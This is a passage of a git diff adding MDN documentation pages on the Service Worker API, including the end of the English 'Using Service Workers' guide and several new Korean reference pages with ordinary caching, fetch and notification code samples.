+ You can see the source code on GitHub, and view the example live. The one bit we’ll call out here is the promise (see app.js lines 22-47), which is a modified version of what you read about above, in the Promises test demo. It is different in the following ways:

+ +
    +
  1. In the original, we only passed in a URL to an image we wanted to load. In this version, we pass in a JSON fragment containing all the data for a single image (see what they look like in image-list.js). This is because all the data for each promise resolve has to be passed in with the promise, as it is asynchronous. If you just passed in the url, and then tried to access the other items in the JSON separately when the for() loop is being iterated through later on, it wouldn’t work, as the promise wouldn’t resolve at the same time as the iterations are being done (that is a synchronous process.)
  2. +
  3. We actually resolve the promise with an array, as we want to make the loaded image blob available to the resolving function later on in the code, but also the image name, credits and alt text (see app.js lines 31-34). Promises will only resolve with a single argument, so if you want to resolve with multiple values, you need to use an array/object.
  4. +
  5. To access the resolved promise values, we then access this function as you’d then expect (see app.js lines 60-64). This may seem a bit odd at first, but this is the way promises work.
  6. +
+ +

Enter service workers

+ +

Now let’s get on to service workers!

+ +

Registering your worker

+ +

The first block of code in our app’s JavaScript file — app.js — is as follows. This is our entry point into using service workers.

+ +
if ('serviceWorker' in navigator) {
+  navigator.serviceWorker.register('/sw-test/sw.js', {scope: '/sw-test/'})
+  .then(function(reg) {
+    // registration worked
+    console.log('Registration succeeded. Scope is ' + reg.scope);
+  }).catch(function(error) {
+    // registration failed
+    console.log('Registration failed with ' + error);
+  });
+}
+ +
    +
  1. The outer block performs a feature detection test to make sure service workers are supported before trying to register one.
  2. +
  3. Next, we use the {{domxref("ServiceWorkerContainer.register()") }} function to register the service worker for this site, which is just a JavaScript file residing inside our app (note this is the file's URL relative to the origin, not the JS file that references it.)
  4. +
  5. The scope parameter is optional, and can be used to specify the subset of your content that you want the service worker to control. In this case, we have specified '/sw-test/', which means all content under the app's origin. If you leave it out, it will default to this value anyway, but we specified it here for illustration purposes.
  6. +
  7. The .then() promise function is used to chain a success case onto our promise structure.  When the promise resolves successfully, the code inside it executes.
  8. +
  9. Finally, we chain a .catch() function onto the end that will run if the promise is rejected.
  10. +
+ +

This registers a service worker, which runs in a worker context, and therefore has no DOM access. You then run code in the service worker outside of your normal pages to control their loading.
+
+ A single service worker can control many pages. Each time a page within your scope is loaded, the service worker is installed against that page and operates on it. Bear in mind therefore that you need to be careful with global variables in the service worker script: each page doesn’t get its own unique worker.

+ +
+

Note: Your service worker functions like a proxy server, allowing you to modify requests and responses, replace them with items from its own cache, and more.

+
+ +
+

Note: One great thing about service workers is that if you use feature detection like we’ve shown above, browsers that don’t support service workers can just use your app online in the normal expected fashion. Furthermore, if you use AppCache and SW on a page, browsers that don’t support SW but do support AppCache will use that, and browsers that support both will ignore the AppCache and let SW take over.

+
+ +

Why is my service worker failing to register?

+ +

This could be for the following reasons:

+ +
    +
  1. You are not running your application through HTTPS.
  2. +
  3. The path to your service worker file is not written correctly — it needs to be written relative to the origin, not your app’s root directory. In our example, the worker is at https://mdn.github.io/sw-test/sw.js, and the app’s root is https://mdn.github.io/sw-test/. But the path needs to be written as /sw-test/sw.js, not /sw.js.
  4. +
  5. The service worker being pointed to is on a different origin to that of your app. This is also not allowed.
  6. +
+ +

+ +

Also note:

+ + + +

Install and activate: populating your cache

+ +

After your service worker is registered, the browser will attempt to install then activate the service worker for your page/site.
+
+ The install event is fired when an install is successfully completed. The install event is generally used to populate your browser’s offline caching capabilities with the assets you need to run your app offline. To do this, we use Service Worker’s brand new storage API — {{domxref("cache")}} — a global on the service worker that allows us to store assets delivered by responses, and keyed by their requests. This API works in a similar way to the browser’s standard cache, but it is specific to your domain. It persists until you tell it not to — again, you have full control.

+ +
+

Note: The Cache API is not supported in every browser. (See the {{anch("Browser support")}} section for more information.) If you want to use this now, you could consider using a polyfill like the one available in Google's Topeka demo, or perhaps store your assets in IndexedDB.

+
+ +

Let’s start this section by looking at a code sample — this is the first block you’ll find in our service worker:

+ +
this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v1').then(function(cache) {
+      return cache.addAll([
+        '/sw-test/',
+        '/sw-test/index.html',
+        '/sw-test/style.css',
+        '/sw-test/app.js',
+        '/sw-test/image-list.js',
+        '/sw-test/star-wars-logo.jpg',
+        '/sw-test/gallery/',
+        '/sw-test/gallery/bountyHunters.jpg',
+        '/sw-test/gallery/myLittleVader.jpg',
+        '/sw-test/gallery/snowTroopers.jpg'
+      ]);
+    })
+  );
+});
+ +
    +
  1. Here we add an install event listener to the service worker (hence this), and then chain a {{domxref("ExtendableEvent.waitUntil()") }} method onto the event — this ensures that the service worker will not install until the code inside waitUntil() has successfully occurred.
  2. +
  3. Inside waitUntil() we use the caches.open() method to create a new cache called v1, which will be version 1 of our site resources cache. This returns a promise for a created cache; once resolved, we then call a function that calls addAll() on the created cache, which for its parameter takes an array of origin-relative URLs to all the resources you want to cache.
  4. +
  5. If the promise is rejected, the install fails, and the worker won’t do anything. This is ok, as you can fix your code and then try again the next time registration occurs.
  6. +
  7. After a successful installation, the service worker activates. This doesn’t have much of a distinct use the first time your service worker is installed/activated, but it means more when the service worker is updated (see the {{anch("Updating your service worker") }} section later on.)
  8. +
+ +
+

Note: localStorage works in a similar way to service worker cache, but it is synchronous, so not allowed in service workers.

+
+ +
+

Note: IndexedDB can be used inside a service worker for data storage if you require it.

+
+ +

Custom responses to requests

+ +

Now you’ve got your site assets cached, you need to tell service workers to do something with the cached content. This is easily done with the fetch event.

+ +

+ +

A fetch event fires every time any resource controlled by a service worker is fetched, which includes the documents inside the specified scope, and any resources referenced in those documents (for example if index.html makes a cross origin request to embed an image, that still goes through its service worker.)

+ +

You can attach a fetch event listener to the service worker, then call the respondWith() method on the event to hijack our HTTP responses and update them with your own magic.

+ +
this.addEventListener('fetch', function(event) {
+  event.respondWith(
+    // magic goes here
+  );
+});
+ +

We could start by simply responding with the resource whose url matches that of the network request, in each case:

+ +
this.addEventListener('fetch', function(event) {
+  event.respondWith(
+    caches.match(event.request)
+  );
+});
+ +

caches.match(event.request) allows us to match each resource requested from the network with the equivalent resource available in the cache, if there is a matching one available. The matching is done via url and vary headers, just like with normal HTTP requests.

+ +

Let’s look at a few other options we have when defining our magic (see our Fetch API documentation for more information about {{domxref("Request")}} and {{domxref("Response")}} objects.)

+ +
    +
  1. +

    The {{domxref("Response.Response","Response()")}} constructor allows you to create a custom response. In this case, we are just returning a simple text string:

    + +
    new Response('Hello from your friendly neighbourhood service worker!');
    +
  2. +
  3. +

    This more complex Response below shows that you can optionally pass a set of headers in with your response, emulating standard HTTP response headers. Here we are just telling the browser what the content type of our synthetic response is:

    + +
    new Response('<p>Hello from your friendly neighbourhood service worker!</p>', {
    +  headers: { 'Content-Type': 'text/html' }
    +});
    +
  4. +
  5. +

    If a match wasn’t found in the cache, you could tell the browser to simply {{domxref("GlobalFetch.fetch","fetch")}} the default network request for that resource, to get the new resource from the network if it is available:

    + +
    fetch(event.request);
    +
  6. +
  7. +

    If a match wasn’t found in the cache, and the network isn’t available, you could just match the request with some kind of default fallback page as a response using {{domxref("CacheStorage.match","match()")}}, like this:

    + +
    caches.match('/fallback.html');
    +
  8. +
  9. +

    You can retrieve a lot of information about each request by calling parameters of the {{domxref("Request")}} object returned by the {{domxref("FetchEvent")}}:

    + +
    event.request.url
    +event.request.method
    +event.request.headers
    +event.request.body
    +
  10. +
+ +

Recovering failed requests

+ +

So caches.match(event.request) is great when there is a match in the service worker cache, but what about cases when there isn’t a match? If we didn’t provide any kind of failure handling, our promise would resolve with undefined and we wouldn't get anything returned.

+ +

Fortunately service workers’ promise-based structure makes it trivial to provide further options towards success. We could do this:

+ +
this.addEventListener('fetch', function(event) {
+  event.respondWith(
+    caches.match(event.request).then(function(response) {
+      return response || fetch(event.request);
+    })
+  );
+});
+ +

If the resources isn't in the cache, it is requested from the network.

+ +

If we were being really clever, we would not only request the resource from the network; we would also save it into the cache so that later requests for that resource could be retrieved offline too! This would mean that if extra images were added to the Star Wars gallery, our app could automatically grab them and cache them. The following would do the trick:

+ +
this.addEventListener('fetch', function(event) {
+  event.respondWith(
+    caches.match(event.request).then(function(resp) {
+      return resp || fetch(event.request).then(function(response) {
+        return caches.open('v1').then(function(cache) {
+          cache.put(event.request, response.clone());
+          return response;
+        });
+      });
+    })
+  );
+});
+ +

Here we return the default network request with return fetch(event.request), which returns a promise. When this promise is resolved, we respond by running a function that grabs our cache using caches.open('v1'); this also returns a promise. When that promise resolves, cache.put() is used to add the resource to the cache. The resource is grabbed from event.request, and the response is then cloned with response.clone() and added to the cache. The clone is put in the cache, and the original response is returned to the browser to be given to the page that called it.

+ +

Cloning the response is necessary because request and response streams can only be read once.  In order to return the response to the browser and put it in the cache we have to clone it. So the original gets returned to the browser and the clone gets sent to the cache.  They are each read once.

+ +

The only trouble we have now is that if the request doesn’t match anything in the cache, and the network is not available, our request will still fail. Let’s provide a default fallback so that whatever happens, the user will at least get something:

+ +
this.addEventListener('fetch', function(event) {
+  event.respondWith(
+    caches.match(event.request).then(function(resp) {
+      return resp || fetch(event.request).then(function(response) {
+        caches.open('v1').then(function(cache) {
+          cache.put(event.request, response.clone());
+        });
+        return response;
+      });
+    }).catch(function() {
+      return caches.match('/sw-test/gallery/myLittleVader.jpg');
+    })
+  );
+});
+ +

We have opted for this fallback image because the only updates that are likely to fail are new images, as everything else is depended on for installation in the install event listener we saw earlier.

+ +

Updating your service worker

+ +

If your service worker has previously been installed, but then a new version of the worker is available on refresh or page load, the new version is installed in the background, but not yet activated. It is only activated when there are no longer any pages loaded that are still using the old service worker. As soon as there are no more such pages still loaded, the new service worker activates.

+ +

You’ll want to update your install event listener in the new service worker to something like this (notice the new version number):

+ +
this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v2').then(function(cache) {
+      return cache.addAll([
+        '/sw-test/',
+        '/sw-test/index.html',
+        '/sw-test/style.css',
+        '/sw-test/app.js',
+        '/sw-test/image-list.js',
+
+        …
+
+        // include other new resources for the new version...
+      ]);
+    })
+  );
+});
+ +

While this happens, the previous version is still responsible for fetches. The new version is installing in the background. We are calling the new cache v2, so the previous v1 cache isn't disturbed.

+ +

When no pages are using the current version, the new worker activates and becomes responsible for fetches.

+ +

Deleting old caches

+ +

You also get an activate event. This is a generally used to do stuff that would have broken the previous version while it was still running, for example getting rid of old caches. This is also useful for removing data that is no longer needed to avoid filling up too much disk space — each browser has a hard limit on the amount of cache storage that a given service worker can use. The browser does its best to manage disk space, but it may delete the Cache storage for an origin.  The browser will generally delete all of the data for an origin or none of the data for an origin.

+ +

Promises passed into waitUntil() will block other events until completion, so you can rest assured that your clean-up operation will have completed by the time you get your first fetch event on the new cache.

+ +
this.addEventListener('activate', function(event) {
+  var cacheWhitelist = ['v2'];
+
+  event.waitUntil(
+    caches.keys().then(function(keyList) {
+      return Promise.all(keyList.map(function(key) {
+        if (cacheWhitelist.indexOf(key) === -1) {
+          return caches.delete(key);
+        }
+      }));
+    })
+  );
+});
+ +

Developer tools

+ +

Chrome has chrome://inspect/#service-workers, which shows current service worker activity and storage on a device, and chrome://serviceworker-internals, which shows more detail and allows you to start/stop/debug the worker process. In the future they will have throttling/offline modes to simulate bad or non-existent connections, which will be a really good thing.

+ +

Firefox has also started to implement some useful tools related to service workers:

+ + + +
+

Note: You may serve your app from http://localhost (e.g. using me@localhost:/my/app$ python -m SimpleHTTPServer) for local development. See Security considerations

+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(40.0)}}{{ CompatGeckoDesktop("33.0") }}[1]{{CompatNo}}24{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatChrome(40.0)}}{{ CompatVersionUnknown }}{{ CompatVersionUnknown }}{{CompatNo}}{{ CompatVersionUnknown() }}{{CompatNo}}
+
+ +

[1] Service workers (and Push) have been disabled in the Firefox 45 Extended Support Release (ESR.)

+ +

See also

+ + diff --git a/files/ko/web/api/serviceworker/index.html b/files/ko/web/api/serviceworker/index.html new file mode 100644 index 0000000000..e7e5907ecf --- /dev/null +++ b/files/ko/web/api/serviceworker/index.html @@ -0,0 +1,113 @@ +--- +title: ServiceWorker +slug: Web/API/ServiceWorker +tags: + - API + - Interface + - Offline + - Reference + - Service Workers + - ServiceWorker + - Workers + - 서비스 워커 + - 워커 +translation_of: Web/API/ServiceWorker +--- +
{{APIRef("Service Workers API")}}
+ +

Service Worker APIServiceWorker 인터페이스는 서비스 워커로의 참조를 제공합니다. 다수의{{glossary("browsing context", "브라우징 맥락")}}(e.g. 페이지, 다른 워커, 등등)는 고유한 ServiceWorker 객체를 통해 동일한 서비스 워커와 연결할 수 있습니다.

+ +

ServiceWorker 객체는 {{domxref("ServiceWorkerRegistration.active")}} 속성과 {{domxref("ServiceWorkerContainer.controller")}} 속성으로 접근할 수 있습니다. controller는 활성화되어 페이지를 통제 중인 서비스 워커입니다.

+ +

ServiceWorker 인터페이스에서는 일련의 생명주기 이벤트(install, activate)와 기능 이벤트(fetch)가 발생합니다. ServiceWorker 객체의 생명주기는 {{domxref("ServiceWorker.state")}} 속성이 담고 있습니다.

+ +

속성

+ +

ServiceWorker 인터페이스는 부모 {{domxref("Worker")}}에서 속성을 상속합니다.

+ +
+
{{domxref("ServiceWorker.scriptURL")}} {{readonlyinline}}
+
Returns the ServiceWorker serialized script URL defined as part of {{domxref("ServiceWorkerRegistration")}}. The URL must be on the same origin as the document that registers the ServiceWorker.
+
{{domxref("ServiceWorker.state")}} {{readonlyinline}}
+
Returns the state of the service worker. It returns one of the following values: installing, installed, activating, activated, or redundant.
+
+ +

이벤트 처리기

+ +
+
{{domxref("ServiceWorker.onstatechange")}} {{readonlyinline}}
+
An {{domxref("EventListener")}} property called whenever an event of type statechange is fired; it is basically fired anytime the {{domxref("ServiceWorker.state")}} changes.
+
+ +

메서드

+ +

ServiceWorker 인터페이스는 부모 {{domxref("Worker")}}에서 메서드를 상속합니다. 단, {{domxref("Worker.terminate()")}}는 예외이며 서비스 워커에서 접근할 수 없습니다.

+ +

예제

+ +

This code snippet is from the service worker registration-events sample (live demo). The code listens for any change in the {{domxref("ServiceWorker.state")}} and returns its value.

+ +
if ('serviceWorker' in navigator) {
+    navigator.serviceWorker.register('service-worker.js', {
+        scope: './'
+    }).then(function (registration) {
+        var serviceWorker;
+        if (registration.installing) {
+            serviceWorker = registration.installing;
+            document.querySelector('#kind').textContent = 'installing';
+        } else if (registration.waiting) {
+            serviceWorker = registration.waiting;
+            document.querySelector('#kind').textContent = 'waiting';
+        } else if (registration.active) {
+            serviceWorker = registration.active;
+            document.querySelector('#kind').textContent = 'active';
+        }
+        if (serviceWorker) {
+            // logState(serviceWorker.state);
+            serviceWorker.addEventListener('statechange', function (e) {
+                // logState(e.target.state);
+            });
+        }
+    }).catch (function (error) {
+        // Something went wrong during registration. The service-worker.js file
+        // might be unavailable or contain a syntax error.
+    });
+} else {
+    // The current browser doesn't support service workers.
+}
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#serviceworker', 'ServiceWorker')}}{{Spec2('Service Workers')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.ServiceWorker")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/api/serviceworker/onstatechange/index.html b/files/ko/web/api/serviceworker/onstatechange/index.html new file mode 100644 index 0000000000..d6063f0445 --- /dev/null +++ b/files/ko/web/api/serviceworker/onstatechange/index.html @@ -0,0 +1,72 @@ +--- +title: ServiceWorker.onstatechange +slug: Web/API/ServiceWorker/onstatechange +translation_of: Web/API/ServiceWorker/onstatechange +--- +
{{SeeCompatTable}}{{APIRef("Service Workers API")}}
+ +

statechange 타입의 이벤트가 발생될 때마다 호출되는 {{domxref("EventListener")}} 속성. 기본적으로 {{domxref("ServiceWorker.state")}}가 변경되는 시점에 발생한다.

+ +

Syntax

+ +
ServiceWorker.onstatechange = function(statechangeevent) { ... }
+ServiceWorker.addEventListener('statechange', function(statechangeevent) { ... } )
+ +

Examples

+ +

이 코드 조각은 service worker registration-events sample (live demo) 으로부터 가져온 것이다. 이 코드는 {{domxref("ServiceWorker.state")}}의 모든 변경 사항을 수신하고 그 값을 반환한다.

+ +
var serviceWorker;
+if (registration.installing) {
+  serviceWorker = registration.installing;
+  document.querySelector('#kind').textContent = 'installing';
+} else if (registration.waiting) {
+  serviceWorker = registration.waiting;
+  document.querySelector('#kind').textContent = 'waiting';
+} else if (registration.active) {
+  serviceWorker = registration.active;
+  document.querySelector('#kind').textContent = 'active';
+}
+
+if (serviceWorker) {
+  logState(serviceWorker.state);
+  serviceWorker.addEventListener('statechange', function(e) {
+  logState(e.target.state);
+  });
+}
+ +

statechange 가 발생할 때, 서비스워커의 참조들이 변화할 수 있으므로 주의하라. 예시:

+ +
navigator.serviceWorker.register(..).then(function(swr) {
+  swr.installing.state == "installing"
+  swr.installing.onstatechange = function() {
+    swr.installing == null;
+    // 이 시점에서, swr.waiting 또는 swr.active는 true일 것이다. 이것은 statechange 이벤트가 대기 상태이기 때문이며,
+    // 그동안 잠재 상태의 워커가 waiting 상태가 될 수도 있으며 가능한 경우에는 즉시 activated 될 것이다.
+  }
+})
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#service-worker-onstatechange-attribute', 'ServiceWorker.onstatechange')}}{{Spec2('Service Workers')}}Initial definition
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.ServiceWorker.onstatechange")}}

+
diff --git a/files/ko/web/api/serviceworkerglobalscope/clients/index.html b/files/ko/web/api/serviceworkerglobalscope/clients/index.html new file mode 100644 index 0000000000..ccc6ab78a8 --- /dev/null +++ b/files/ko/web/api/serviceworkerglobalscope/clients/index.html @@ -0,0 +1,55 @@ +--- +title: ServiceWorkerGlobalScope.clients +slug: Web/API/ServiceWorkerGlobalScope/clients +translation_of: Web/API/ServiceWorkerGlobalScope/clients +--- +

{{APIRef("Service Workers API")}}

+ +

{{domxref("ServiceWorkerGlobalScope")}} 인터페이스의 clients 읽기 전용 속성은 서비스 워커와 관련된 Clients 객체를 반환한다.

+ +

Syntax

+ +
swClients = self.clients
+
+ +

Value

+ +

특정한 워커와 관련된 {{domxref("Clients")}} 객체.

+ +

Specifications

+ +
+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#service-worker-global-scope-clients', 'ServiceWorkerRegistration.clients')}}{{Spec2('Service Workers')}}Initial definition.
+  
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.ServiceWorkerGlobalScope.clients")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/serviceworkerglobalscope/index.html b/files/ko/web/api/serviceworkerglobalscope/index.html new file mode 100644 index 0000000000..3f4115cbab --- /dev/null +++ b/files/ko/web/api/serviceworkerglobalscope/index.html @@ -0,0 +1,152 @@ +--- +title: ServiceWorkerGlobalScope +slug: Web/API/ServiceWorkerGlobalScope +tags: + - API + - Draft + - Interface + - NeedsTranslation + - Offline + - Reference + - Service Workers + - ServiceWorkerGlobalScope + - TopicStub + - Workers +translation_of: Web/API/ServiceWorkerGlobalScope +--- +
{{SeeCompatTable}}{{APIRef("Service Workers API")}}
+ +

The ServiceWorkerGlobalScope interface of the ServiceWorker API represents the global execution context of a service worker.

+ +

Developers should keep in mind that the ServiceWorker state is not persisted across the termination/restart cycle, so each event handler should assume it's being invoked with a bare, default global state.

+ +

Once successfully registered, a service worker can and will be terminated when idle to conserve memory and processor power. An active service worker is automatically restarted to respond to events, such as {{domxref("ServiceWorkerGlobalScope.onfetch")}} or {{domxref("ServiceWorkerGlobalScope.onmessage")}}.

+ +

Additionally, synchronous requests are not allowed from within a service worker — only asynchronous requests, like those initiated via the {{domxref("GlobalFetch.fetch", "fetch()")}} method, can be used.

+ +

This interface inherits from the {{domxref("WorkerGlobalScope")}} interface, and its parent {{domxref("EventTarget")}}, and therefore implements properties from {{domxref("WindowTimers")}}, {{domxref("WindowBase64")}}, and {{domxref("WindowEventHandlers")}}.

+ +

{{InheritanceDiagram(700, 85, 20)}}

+ +

Properties

+ +
+
{{domxref("ServiceWorkerGlobalScope.clients")}} {{readonlyinline}}
+
Contains the {{domxref("Clients")}} object associated with the service worker.
+
{{domxref("ServiceWorkerGlobalScope.registration")}} {{readonlyinline}}
+
Contains the {{domxref("ServiceWorkerRegistration")}} object that represents the service worker's registration.
+
{{domxref("ServiceWorkerGlobalScope.caches")}} {{readonlyinline}}
+
Contains the {{domxref("CacheStorage")}} object associated with the service worker.
+
+ +

Events

+ +
+
activate
+
Occurs when a {{domxref("ServiceWorkerRegistration")}} acquires a new {{domxref("ServiceWorkerRegistration.active")}} worker.
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onactivate")}} property.
+
fetch
+
Occurs when a {{domxref("GlobalFetch.fetch", "fetch()")}} is called.
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onfetch")}} property.
+
install
+
Occurs when a {{domxref("ServiceWorkerRegistration")}} acquires a new {{domxref("ServiceWorkerRegistration.installing")}} worker.
+ Also available via the {{domxref("ServiceWorkerGlobalScope.oninstall")}} property.
+
message
+
Occurs when incoming messages are received. Controlled pages can use the {{domxref("MessagePort.postMessage()")}} method to send messages to service workers. The service worker can optionally send a response back via the {{domxref("MessagePort")}} exposed in event.data.port, corresponding to the controlled page.
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onmessage")}} property.
+
notificationclick
+
Occurs when a user clicks on a displayed notification.
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onnotificationclick")}} property.
+
notificationclose
+
Occurs — when a user closes a displayed notification.
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onnotificationclose")}} property.
+
push
+
Occurs when a server push notification is received.
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onpush")}} property.
+
pushsubscriptionchange
+
Occurs when a push subscription has been invalidated, or is about to be invalidated (e.g. when a push service sets an expiration time).
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onpushsubscriptionchange")}} property.
+
sync
+
Triggered when a call to {{domxref("SyncManager.register")}} is made from a service worker client page. The attempt to sync is made either immediately if the network is available or as soon as the network becomes available. 
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onsync")}} property.
+
+ +

Methods

+ +
+
{{domxref("ServiceWorkerGlobalScope.skipWaiting()")}}
+
Allows the current service worker registration to progress from waiting to active state while service worker clients are using it.
+
+ +

ServiceWorkerGlobalScope implements {{domxref("WorkerGlobalScope")}} — which implements {{domxref("WindowOrWorkerGlobalScope")}}. Therefore it also has the following property available to it:

+ +
+
{{domxref("GlobalFetch.fetch()")}}
+
Starts the process of fetching a resource. This returns a promise that resolves to the {{domxref("Response")}} object representing the response to your request. This algorithm is the entry point for the fetch handling handed to the service worker context.
+
+ +

Examples

+ +

This code snippet is from the service worker prefetch sample (see prefetch example live.) The {{domxref("ServiceWorkerGlobalScope.onfetch")}} event handler listens for the fetch event. When fired, the code returns a promise that resolves to the first matching request in the {{domxref("Cache")}} object. If no match is found, the code fetches a response from the network.

+ +

The code also handles exceptions thrown from the {{domxref("GlobalFetch.fetch", "fetch()")}} operation. Note that an HTTP error response (e.g., 404) will not trigger an exception. It will return a normal response object that has the appropriate error code set.

+ +
self.addEventListener('fetch', function(event) {
+  console.log('Handling fetch event for', event.request.url);
+
+  event.respondWith(
+    caches.match(event.request).then(function(response) {
+      if (response) {
+        console.log('Found response in cache:', response);
+
+        return response;
+      }
+      console.log('No response found in cache. About to fetch from network...');
+
+      return fetch(event.request).then(function(response) {
+        console.log('Response from network is:', response);
+
+        return response;
+      }, function(error) {
+        console.error('Fetching failed:', error);
+
+        throw error;
+      });
+    })
+  );
+});
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#serviceworkerglobalscope-interface', 'ServiceWorkerGlobalScope')}}{{Spec2('Service Workers')}}Initial definition
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.ServiceWorkerGlobalScope")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/serviceworkerglobalscope/notificationclick_event/index.html b/files/ko/web/api/serviceworkerglobalscope/notificationclick_event/index.html new file mode 100644 index 0000000000..685d5c99d2 --- /dev/null +++ b/files/ko/web/api/serviceworkerglobalscope/notificationclick_event/index.html @@ -0,0 +1,104 @@ +--- +title: 'ServiceWorkerGlobalScope: notificationclick event' +slug: Web/API/ServiceWorkerGlobalScope/notificationclick_event +translation_of: Web/API/ServiceWorkerGlobalScope/notificationclick_event +--- +
{{APIRef}}
+ +

notificationclick 이벤트는 {{domxref("ServiceWorkerRegistration.showNotification()")}} 에 의해 발생한 시스템 notification 이 클릭되었음을 나타내기 위해 발생된다.

+ + + + + + + + + + + + + + + + + + + + +
No
CancelableNo
Interface{{domxref("NotificationEvent")}}
Event handleronnotificationclick
+ +

Examples

+ +

addEventListener 메소드 내에서 notificationclick 이벤트를 사용할 수 있다:

+ +
self.addEventListener('notificationclick', function(event) {
+  console.log('On notification click: ', event.notification.tag);
+  event.notification.close();
+
+  // This looks to see if the current is already open and
+  // focuses if it is
+  event.waitUntil(clients.matchAll({
+    type: "window"
+  }).then(function(clientList) {
+    for (var i = 0; i < clientList.length; i++) {
+      var client = clientList[i];
+      if (client.url == '/' && 'focus' in client)
+        return client.focus();
+    }
+    if (clients.openWindow)
+      return clients.openWindow('/');
+  }));
+});
+
+ +

또는 onnotificationclick 이벤트 핸들러 속성을 사용할 수 있다:

+ +
self.onnotificationclick = function(event) {
+  console.log('On notification click: ', event.notification.tag);
+  event.notification.close();
+
+  // This looks to see if the current is already open and
+  // focuses if it is
+  event.waitUntil(clients.matchAll({
+    type: "window"
+  }).then(function(clientList) {
+    for (var i = 0; i < clientList.length; i++) {
+      var client = clientList[i];
+      if (client.url == '/' && 'focus' in client)
+        return client.focus();
+    }
+    if (clients.openWindow)
+      return clients.openWindow('/');
+  }));
+};
+ +

Specifications

+ + + + + + + + + + + + +
SpecificationStatus
{{SpecName('Web Notifications','#dom-serviceworkerglobalscope-onnotificationclick','onnotificationclick')}}{{Spec2('Web Notifications')}}
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.ServiceWorkerGlobalScope.notificationclick_event")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/serviceworkerglobalscope/skipwaiting/index.html b/files/ko/web/api/serviceworkerglobalscope/skipwaiting/index.html new file mode 100644 index 0000000000..a6c3e50e96 --- /dev/null +++ b/files/ko/web/api/serviceworkerglobalscope/skipwaiting/index.html @@ -0,0 +1,71 @@ +--- +title: ServiceWorkerGlobalScope.skipWaiting() +slug: Web/API/ServiceWorkerGlobalScope/skipWaiting +translation_of: Web/API/ServiceWorkerGlobalScope/skipWaiting +--- +
{{APIRef("Service Workers API")}}
+ +

{{domxref("ServiceWorkerGlobalScope")}} 의 ServiceWorkerGlobalScope.skipWaiting() 메소드는 waiting 상태의 서비스 워커를 active 상태의 서비스 워커로 변경하도록 강제한다.

+ +

근본적인 서비스 워커에 대한 업데이트들이 현재의 클라이언트와 다른 모든 active 클라이언트들에게 즉시 적용되도록 하기 위해 {{domxref("Clients.claim()")}} 과 이 메소드를 사용한다.

+ +

Syntax

+ +
ServiceWorkerGlobalScope.skipWaiting().then(function() {
+  //Do something
+});
+ +

Returns

+ +

undefined 로 즉시 resolve 되는 {{jsxref("Promise")}}

+ +

Example

+ +

서비스 워커가 실행되는 동안 언제라도 self.skipWaiting() 는 호출될 수 있지만, 이것은 waiting 상태로 남아 있을 수도 있는 새롭게 설치된 서비스 워커가 있는 경우에만 영향을 줄 수 있다. 따라서, {{domxref("InstallEvent")}} 핸들러 내부에서 self.skipWaiting() 을 호출하는 것이 일반적이다.

+ +

다음 예시는 active 상태의 서비스 워커가 이미 존재하는지의 여부에 관계없이, 새로 설치된 서비스 워커가  activating 상태로 진행되도록 한다.

+ +
self.addEventListener('install', function(event) {
+  // skipWaiting()가 반환하는 promise는 안전하게 무시될 수 있다.
+  self.skipWaiting();
+
+  // 잠재적으로 event.waitUntil(); 내부에서
+  // 서비스 워커 설치를 위해 필요한 다른 action 들을 수행하라.
+});
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#service-worker-obj', 'ServiceWorker')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.ServiceWorkerGlobalScope.skipWaiting")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/serviceworkerregistration/active/index.html b/files/ko/web/api/serviceworkerregistration/active/index.html new file mode 100644 index 0000000000..cc492009a3 --- /dev/null +++ b/files/ko/web/api/serviceworkerregistration/active/index.html @@ -0,0 +1,59 @@ +--- +title: ServiceWorkerRegistration.active +slug: Web/API/ServiceWorkerRegistration/active +translation_of: Web/API/ServiceWorkerRegistration/active +--- +
{{SeeCompatTable}}{{APIRef("Service Workers API")}}
+ +

{{domxref("ServiceWorkerRegistration")}} 인터페이스의 active 속성은 {{domxref("ServiceWorker.state")}} 가 activating 또는 activated 상태인 서비스 워커를 반환한다. 이 속성은 null 로 초기 설정되어 있다.

+ +

클라이언트들의 URL이 등록 scope 내에 있을 경우 active 워커는 {{domxref("ServiceWorkerClient")}} 를 제어한다. ({{domxref("ServiceWorkerContainer.register")}} 가 처음으로 호출될 때 그 scope 옵션은 정의된다.)

+ +
+

Note: 이 기능은 Web Workers 에서 사용 가능하다.

+
+ +

